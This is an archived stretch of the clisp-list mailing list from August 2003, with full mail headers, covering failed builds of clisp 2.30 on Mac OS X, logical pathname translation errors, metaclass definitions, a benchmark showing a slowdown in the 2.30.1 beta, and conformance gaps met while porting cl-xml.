for setlocale... yes updating cache ../config.cache creating ./config.status creating Makefile creating lib/Makefile creating config.h config.h is unchanged case "darwin6.6" in \ aix3*) syntax=aix.old;; \ aix*) syntax=aix.new;; \ linux*) syntax=linux;; \ *) syntax=sysv4;; \ esac; \ /bin/sh ./libtool --mode=compile gcc -x none -c ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \ cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-${syntax}.lo ; \ if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o avcall-rs6000.o; fi gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o avcall-rs6000.c:3:Expected comma after segment-name avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ). avcall-rs6000.c:5:Unknown pseudo-op: .type avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:5:Invalid mnemonic 'function' is there a know fix for this? if i just make believe this doesn't matter and continue as instructed, when i attempt make, the following eventually occurs ... ln -s ../src/version.h version.h gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c lispbibl.d:1950: unbalanced #endif lispbibl.d:6683: unterminated #else conditional spvw_objsize.d:110: unterminated #else conditional make: *** [spvw.o] Error 1 [tschichold:Source/clisp-2.30/with-apple-devtools] is there a known fix for this? thanks ... From dgou@mac.com Fri Aug 15 08:02:13 2003 Received: from a17-250-248-86.apple.com ([17.250.248.86] helo=smtpout.mac.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ng1v-0004fR-00 for ; Fri, 15 Aug 2003 07:58:15 -0700 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7FEwECw015377; Fri, 15 Aug 2003 07:58:14 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7FEwBdS004869; Fri, 15 Aug 2003 07:58:12 -0700 (PDT) Subject: Re: [clisp-list] clisp on osx Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: james anderson From: Douglas Philips In-Reply-To: Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 08:03:03 2003 X-Original-Date: Fri, 15 Aug 2003 10:58:09 -0400 > i read in the documentation that clisp should build on osx, so i'm > trying. > > i've pulled the 2.30 distribution and am trying to follow the > instructions. i'm using the standard apply development tools, as > installed from Dec2002DevToolsCD.dmg. given osx 10.2.6, when i attempt > to run configure, as in, > > ./configure with-apple-devtools > > it runs to the point where it appears to trip over a syntax error in a > shell file. as in, Take a look at unix/PLATFORMS for the shell you need to do the configure with. Unfortunately, even with a good config I was getting the same preprocessor error. I've been able to limp along with the 1.29 binary, so I haven't dove in to look at this in detail. I had pinged Sam about it and was waiting to see if any of the previous Mac porters were still active. > ln -s ../src/version.h version.h > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE > -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c > lispbibl.d:1950: unbalanced #endif > lispbibl.d:6683: unterminated #else conditional > spvw_objsize.d:110: unterminated #else conditional > make: *** [spvw.o] Error 1 > [tschichold:Source/clisp-2.30/with-apple-devtools] > > is there a known fix for this? > My hunch (not even a guess) is that somewhere darwin6.6 is passed in but 'darwin' is what is being tested for. Not (yet) being a autoconf wiz, I don't really know. FWIW, if anything. Doug From james.anderson@setf.de Fri Aug 15 09:42:01 2003 Received: from mail-in-03.arcor-online.net ([151.189.21.43]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19nhDK-0002Fn-00 for ; Fri, 15 Aug 2003 09:14:06 -0700 Received: from setf.de (dsl-213-023-140-005.arcor-ip.net [213.23.140.5]) by mail-in-03.arcor-online.net (Postfix) with ESMTP id 369F382844 for ; Fri, 15 Aug 2003 18:14:03 +0200 (CEST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <7001AEBA-CF3B-11D7-80FF-000393BB8814@setf.de> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] logical pathnames [ was: clisp on osx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 09:43:03 2003 X-Original-Date: Fri, 15 Aug 2003 18:13:41 +0200 On Friday, Aug 15, 2003, at 16:58 Europe/Berlin, Douglas Philips wrote: > > Take a look at unix/PLATFORMS for the shell you need to do the > configure with. Unfortunately, even with a good config I was getting > the same preprocessor error. I've been able to limp along with the > 1.29 binary, that was a useful clue. i've no intrinsic interest in building from source, but must have overlooked the -darwin- entry under 2.29. so now i've pulled that too. only thing, it wouldn't link. at least not where i put it. but i noticed that fink claimed availability of 2.29, so i just let it install that, which appears to have worked. in any case, w.r.t. the earlier attempt, i had tried it both with the suggested bash and with the standard tcsh shell. now that it is running, i have more questions. at the moment, about logical pathnames. should one expect logical pathnames to work correctly? are there any patches for them? 1. i would expect pathname to returns a logical pathname in the case: [1]> (pathname "xml:xml-grammar.bnf") #P"xml:xml-grammar.bnf" [2]> (type-of *) PATHNAME 2. given the logical host definition attached below i would expect the following example to have translated the pathname [28]> (translate-logical-pathname #p"xml:xml-grammar.bnf") #P"xml:xml-grammar.bnf" 3. what is the issue behind this error message? [22]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp") 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*" 1. Break [23]> :a [24]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp.newest") 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp.newest") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*" 1. Break [25]> the logical host definition was as follows 2. Break [4]> (logical-pathname-translations "xml") ((#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BIN" :VERSION :WILD) #P"*.fas") (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BIN" :VERSION :WILD) #P"*.fas") (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE "CODE" :WILD-INFERIORS) :NAME :WILD :TYPE :WILD :VERSION :WILD) "xml:root;code;**;*.*.*") (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE "ROOT" :WILD-INFERIORS) :NAME :WILD :TYPE :WILD :VERSION :WILD) #P"/Development/Source/cl-xml-0-949/**/*.*") (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BNF" :VERSION :WILD) "xml:root;bnf;*.*.*") (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BNF" :VERSION :WILD) "xml:root;bnf;*.*.*") (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD :VERSION :WILD) "xml:root;**;*.*.*")) ... From lisp-clisp-list@m.gmane.org Fri Aug 15 09:57:16 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nhlQ-0000f8-00 for ; Fri, 15 Aug 2003 09:49:20 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nhmL-0006wl-00 for ; Fri, 15 Aug 2003 18:50:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19nhmJ-0006wZ-00 for ; Fri, 15 Aug 2003 18:50:15 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nhlB-0007sb-00 for ; Fri, 15 Aug 2003 18:49:05 +0200 From: Sam Steingold Organization: disorganization Lines: 53 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: clisp on osx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 09:58:03 2003 X-Original-Date: 15 Aug 2003 12:49:04 -0400 > * In message > * On the subject of "clisp on osx" > * Sent on Fri, 15 Aug 2003 16:01:06 +0200 > * Honorable james anderson writes: > > it runs to the point where it appears to trip over a syntax error in a > shell file. as in, try $ CONFIG_SHELL=/bin/bash ./configure ... > case "darwin6.6" in \ > aix3*) syntax=aix.old;; \ > aix*) syntax=aix.new;; \ > linux*) syntax=linux;; \ > *) syntax=sysv4;; \ > esac; \ > /bin/sh ./libtool --mode=compile gcc -x none -c > ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \ > cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f > avcall-rs6000-${syntax}.lo ; \ > if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o > avcall-rs6000.o; fi > gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o > avcall-rs6000-sysv4.o > avcall-rs6000.c:3:Expected comma after segment-name > avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( > ). > avcall-rs6000.c:5:Unknown pseudo-op: .type > avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 > (_). > avcall-rs6000.c:5:Invalid mnemonic 'function' try other syntaxes? > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE > -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c > lispbibl.d:1950: unbalanced #endif > lispbibl.d:6683: unterminated #else conditional > spvw_objsize.d:110: unterminated #else conditional > make: *** [spvw.o] Error 1 did you see any errors in processing lispbibl.d --> lispbibl.c? please try cvs head - there have been many many changes... -- Sam Steingold (http://www.podval.org/~sds) running w2k Live free or die. From janson2@attglobal.net Fri Aug 15 10:22:21 2003 Received: from mail-in-02.arcor-online.net ([151.189.21.42]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ni1x-0005ko-00 for ; Fri, 15 Aug 2003 10:06:25 -0700 Received: from attglobal.net (dsl-213-023-142-011.arcor-ip.net [213.23.142.11]) by mail-in-02.arcor-online.net (Postfix) with ESMTP id 75FD76A9CB for ; Fri, 15 Aug 2003 19:13:50 +0200 (CEST) Subject: Re: [clisp-list] Re: clisp on osx Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 10:23:06 2003 X-Original-Date: Fri, 15 Aug 2003 19:06:02 +0200 On Friday, Aug 15, 2003, at 18:49 Europe/Berlin, Sam Steingold wrote: >> * In message >> * On the subject of "clisp on osx" >> * Sent on Fri, 15 Aug 2003 16:01:06 +0200 >> * Honorable james anderson writes: >> >> it runs to the point where it appears to trip over a syntax error in a >> shell file. as in, > > try > $ CONFIG_SHELL=/bin/bash ./configure ... i had. to the same effect. > >> case "darwin6.6" in \ >> aix3*) syntax=aix.old;; \ >> aix*) syntax=aix.new;; \ >> linux*) syntax=linux;; \ >> *) syntax=sysv4;; \ >> esac; \ >> /bin/sh ./libtool --mode=compile gcc -x none -c >> ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \ >> cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f >> avcall-rs6000-${syntax}.lo ; \ >> if test -f avcall-rs6000-${syntax}.o; then mv >> avcall-rs6000-${syntax}.o >> avcall-rs6000.o; fi >> gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o >> avcall-rs6000-sysv4.o >> avcall-rs6000.c:3:Expected comma after segment-name >> avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( >> ). >> avcall-rs6000.c:5:Unknown pseudo-op: .type >> avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 >> (_). >> avcall-rs6000.c:5:Invalid mnemonic 'function' > > try other syntaxes? i'll keep that in mind if i have to go back to building from source. suggestions as to which? would "linux" be the place to start? pointers as to which file was problematic so that i might compare it with the version which fink managed to build? > > >> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type >> -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE >> -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c >> lispbibl.d:1950: unbalanced #endif >> lispbibl.d:6683: unterminated #else conditional >> spvw_objsize.d:110: unterminated #else conditional >> make: *** [spvw.o] Error 1 > > did you see any errors in processing lispbibl.d --> lispbibl.c? > > please try cvs head - there have been many many changes... > will do, if i need to build from source. ... From lisp-clisp-list@m.gmane.org Fri Aug 15 13:24:29 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nkyR-00037f-00 for ; Fri, 15 Aug 2003 13:14:59 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nkzX-0008QE-00 for ; Fri, 15 Aug 2003 22:16:07 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19nkzW-0008Q4-00 for ; Fri, 15 Aug 2003 22:16:06 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nkyN-0004Sh-00 for ; Fri, 15 Aug 2003 22:14:55 +0200 From: Sam Steingold Organization: disorganization Lines: 43 Message-ID: References: <7001AEBA-CF3B-11D7-80FF-000393BB8814@setf.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: logical pathnames [ was: clisp on osx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 13:25:06 2003 X-Original-Date: 15 Aug 2003 16:14:55 -0400 > * In message <7001AEBA-CF3B-11D7-80FF-000393BB8814@setf.de> > * On the subject of "logical pathnames [ was: clisp on osx" > * Sent on Fri, 15 Aug 2003 18:13:41 +0200 > * Honorable james anderson writes: > > 1. i would expect pathname to returns a logical pathname in the case: > > [1]> (pathname "xml:xml-grammar.bnf") > #P"xml:xml-grammar.bnf" > [2]> (type-of *) > PATHNAME > 2. given the logical host definition attached below i would expect the > following example to have translated the pathname > > [28]> (translate-logical-pathname #p"xml:xml-grammar.bnf") > #P"xml:xml-grammar.bnf" the argument was not a logical pathname. > 3. what is the issue behind this error message? > > [22]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp") > > 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp") > *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") > "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*" you need separate entries: (("**/*" "...**/*") ("**/*.*" "...**/*.*") ("**/*.*.*" "...**/*.*.*")) -- Sam Steingold (http://www.podval.org/~sds) running w2k My inferiority complex is the only thing I can be proud of. From john.derrick@worldnet.att.net Fri Aug 15 14:52:18 2003 Received: from mtiwmhc13.worldnet.att.net ([204.127.131.117]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nmF8-0008Av-00 for ; Fri, 15 Aug 2003 14:36:18 -0700 Received: from mako (49.newark-02rh15rt.nj.dial-access.att.net[12.89.162.49]) by mtiwmhc13.worldnet.att.net (mtiwmhc13) with SMTP id <2003081521360511300cutdme>; Fri, 15 Aug 2003 21:36:05 +0000 Message-ID: <001c01c36375$40e8d4f0$81a2590c@mako> From: "John" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Subject: [clisp-list] Observations on 2.30.1 beta Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 14:53:02 2003 X-Original-Date: Fri, 15 Aug 2003 17:35:42 -0400 I notice a performance degradation on the native windows version 2.30.1 beta vs the 2.30 release. I thought I would pass this information on incase it hadn't been previously discovered. Running the following code snippet compiled to a .fas file, the beta version takes nearly 3 times as long to run. I'm currently on XP Pro. I also noticed the size of the lisp.exe file has grown by almost a megabyte. (let ((x 0) (y 0) start stop elapsed) (setq start (GET-INTERNAL-RUN-TIME)) (loop for i from 1 to 10000000 do (setq x i) (setq y (* i i))) (format t "x=~D y=~D~%" x y) (setq stop (GET-INTERNAL-RUN-TIME)) (setq elapsed (- stop start)) (format t "elapsed time: ~F seconds~%" (/ elapsed INTERNAL-TIME-UNITS-PER-SECOND)) ) Output from version 2.30.1 beta x=10000000 y=100000000000000 elapsed time: 19.18759 seconds Output from version 2.30 x=10000000 y=100000000000000 elapsed time: 6.7296767 seconds I also see this message printed to the console and have found no way to disable it. Hopefully this message will be removed in the future. Reserved address range 0x1a4b0000-0x5ad6ffff . STACK depth: 16363 Hope you find this info useful. From james.anderson@setf.de Fri Aug 15 15:07:21 2003 Received: from mail-in-04.arcor-online.net ([151.189.21.44]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19nmcJ-0006FI-00 for ; Fri, 15 Aug 2003 15:00:16 -0700 Received: from setf.de (dsl-213-023-142-143.arcor-ip.net [213.23.142.143]) by mail-in-04.arcor-online.net (Postfix) with ESMTP id F25125B6E6 for ; Sat, 16 Aug 2003 00:00:12 +0200 (CEST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Re: logical pathnames Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 15:08:04 2003 X-Original-Date: Fri, 15 Aug 2003 23:59:52 +0200 On Friday, Aug 15, 2003, at 22:14 Europe/Berlin, Sam Steingold wrote: >> * In message <7001AEBA-CF3B-11D7-80FF-000393BB8814@setf.de> >> * On the subject of "logical pathnames [ was: clisp on osx" >> * Sent on Fri, 15 Aug 2003 18:13:41 +0200 >> * Honorable james anderson writes: >> >> 1. i would expect pathname to returns a logical pathname in the case: >> >> [1]> (pathname "xml:xml-grammar.bnf") >> #P"xml:xml-grammar.bnf" >> [2]> (type-of *) >> PATHNAME > i thought i had tried it with -ansi for these reasons. i'll try it again, is this perhaps a known 2.29 bug? > > > >> 2. given the logical host definition attached below i would expect the >> following example to have translated the pathname >> >> [28]> (translate-logical-pathname #p"xml:xml-grammar.bnf") >> #P"xml:xml-grammar.bnf" > part of the problem is that the initial datum was a string. see above. (the example is out of context.) > the argument was not a logical pathname. the reader macro is defined to act as if it applies parse-namestring to the argument. it should have produced a logical pathname. > >> 3. what is the issue behind this error message? >> >> [22]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp") >> >> 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp") >> *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") >> "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*" > > you need separate entries: > (("**/*" "...**/*") > ("**/*.*" "...**/*.*") > ("**/*.*.*" "...**/*.*.*")) is this really necessary? there are other lisps which automatically transform the "incomplete" entries to add the missing components. i'll have to check what they will do with the triplicate entries. in any case i had wondered about that, which is why i had tried the second case in my message [24]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp.newest") 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp.newest") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*" 1. Break [25]> ... From james.anderson@setf.de Sat Aug 16 00:20:52 2003 Received: from postman4.arcor-online.net ([151.189.0.189] helo=postman.arcor.de) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19nvKo-0001lX-00 for ; Sat, 16 Aug 2003 00:18:46 -0700 Received: from setf.de (dsl-213-023-135-226.arcor-ip.net [213.23.135.226]) (authenticated bits=0) by postman.arcor.de (8.12.9/8.12.9) with ESMTP id h7G7IhZe014235 for ; Sat, 16 Aug 2003 09:18:43 +0200 (MEST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.552) Subject: [clisp-list] defining metaclasses Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 16 00:21:04 2003 X-Original-Date: Sat, 16 Aug 2003 09:18:23 +0200 is there something special required to defining metaclasses? an attempt to do it in a standard way fails: [39]> (defclass funcallable-clause-metaobject-class (standard-class) ()) *** - DEFCLASS FUNCALLABLE-CLAUSE-METAOBJECT-CLASS: superclass # should belong to class STANDARD-CLASS 1. Break [40]> :a i observe that [45]> (clos::standard-class-p (find-class 'clos::standard-class)) NIL and [47]> (defclass funcallable-clause-metaobject-class (standard-class) () (:metaclass STRUCTURE-CLASS)) # is this the way things are supposed to be? (n.b. i'm now in "maximum" ansi mode) ... From james.anderson@setf.de Sat Aug 16 11:17:38 2003 Received: from postman2.arcor-online.net ([151.189.0.188] helo=postman.arcor.de) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19o5XA-0004RG-00 for ; Sat, 16 Aug 2003 11:12:12 -0700 Received: from setf.de (dsl-213-023-130-085.arcor-ip.net [213.23.130.85]) (authenticated bits=0) by postman.arcor.de (8.12.9/8.12.9) with ESMTP id h7GIC6G0015666 for ; Sat, 16 Aug 2003 20:12:07 +0200 (MEST) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <185F799A-D015-11D7-9068-000393BB8814@setf.de> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] clisp port of cl-xml Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 16 11:18:10 2003 X-Original-Date: Sat, 16 Aug 2003 20:11:45 +0200 hello again; i'm still inching forwards with compiling cl-xml on clisp and i have a few more questions. none of the observations are new, it's just that it would be nice to be able to guage how much time this is going to take, and some idea of whether there might be plans to address any of these issues in the near future - or one the other hand how intrinsic they are to clisp, might give me an idea of whether it is worth spending the time adapting to them 1. logical pathnames : as per earlier correspondence, translation must be expressed with exactly the correct components as the object. is there any chance that this will change? 2. documentation does not accept a package, is not a generic, and there is no setf. i've taken to redefining it, but it is not clear what idiom the compiler requires. i do not really want to do it at compile time, but i've yet to succeed at getting a redefinition wrapped in an ext:without-package-lock form to compile. 3.metaclass defnitions require a (:metaclass structure-class) i noted this in an earlier message, is this correct? 4. defclass does not support forward references if could see this between compilation units, but it's really an inconvenience within a single file. it makes it difficult to lay out definitions in alphabetical - or some other lexically convenient - order, without running afoul of the restriction. any prospects for improvement? 5. only the standard method combination it is easy enough to avoid defining new method combinations for the time being, but it's not very productive to not have the simpler combinations like and, or, progn. any prospects for improvement? those are the issues i've noticed at about 50% through. i can't get much further without a workaround for method combinations, and it makes sense to ask what the future might look like before i do anything further. i'd appreciate any insights anyone has about these - and other - conformance issues before i proceed much further. thanks, ... From lisp-clisp-list@m.gmane.org Sat Aug 16 18:44:21 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19oCah-0004zG-00 for ; Sat, 16 Aug 2003 18:44:19 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oCbl-000850-00 for ; Sun, 17 Aug 2003 03:45:25 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19oCbk-00084s-00 for ; Sun, 17 Aug 2003 03:45:24 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oCae-0001z5-00 for ; Sun, 17 Aug 2003 03:44:16 +0200 From: Sam Steingold Organization: disorganization Lines: 46 Message-ID: References: <001c01c36375$40e8d4f0$81a2590c@mako> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Observations on 2.30.1 beta Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 16 18:45:04 2003 X-Original-Date: 16 Aug 2003 21:44:16 -0400 > * In message <001c01c36375$40e8d4f0$81a2590c@mako> > * On the subject of "Observations on 2.30.1 beta" > * Sent 